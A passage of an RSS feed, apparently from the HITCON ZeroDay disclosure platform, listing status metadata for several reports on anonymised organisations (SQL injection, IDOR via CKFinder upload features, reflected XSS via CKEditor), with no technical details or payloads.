      Title:
     </span>
     <span class="value">
      某單位 後臺未關閉
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      ckfinder相關功能未關
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/17
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/17 04:11:43
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 04:13:26
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 16:53:30
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00878
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 17 Oct 2022 04:11:43 GMT</pubDate></item><item><title> 某單位 後臺未關閉</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00877</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00877
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 後臺未關閉
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      ckfinder相關功能未關
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/17
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/17 03:04:41
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 04:13:36
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 16:53:12
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00877
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 17 Oct 2022 03:04:41 GMT</pubDate></item><item><title> 某單位 </title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00869</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00869
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      SQL Injection
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/17
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/14 18:13:33
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Not_H 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/14 18:19:52
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Not_H 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 11:07:20
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Not_H 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 11:11:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Not_H 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 11:12:27
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Not_H 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/17 16:51:59
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00869
    </li>
    <li>
     通報者：shen (
     <a href="/user/shen">
      Not_H
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 14 Oct 2022 18:13:33 GMT</pubDate></item><item><title> 某單位 後臺上傳功能未關閉</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00875</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00875
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 後臺上傳功能未關閉
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      ckfinder相關功能未關
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/16 00:09:11
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 23:17:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00875
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sun, 16 Oct 2022 00:09:11 GMT</pubDate></item><item><title> 某單位 資料外洩 + XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00874</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-medium-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00874
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 資料外洩 + XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      資料夾未放置內網 + ckeditor相關功能未關
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-medium">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/15 23:54:21
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 23:16:38
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00874
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：中
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sat, 15 Oct 2022 23:54:21 GMT</pubDate></item><item><title> 某單位 後台上傳功能未關</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00873</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00873
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 後台上傳功能未關
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      ckfinder相關功能未關
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/15 21:27:51
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 23:16:10
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00873
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sat, 15 Oct 2022 21:27:51 GMT</pubDate></item><item><title> 某單位 XSS漏洞</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00872</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00872
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 XSS漏洞
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      ckeditor相關功能未關
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/15 21:07:24
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/15 21:07:57
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 23:15:48
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00872
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sat, 15 Oct 2022 21:07:24 GMT</pubDate></item><item><title> 某單位 XSS漏洞</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00871</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00871
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 XSS漏洞
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      ckeditor相關功能未關
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/15 20:59:54
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 23:15:24
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00871
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
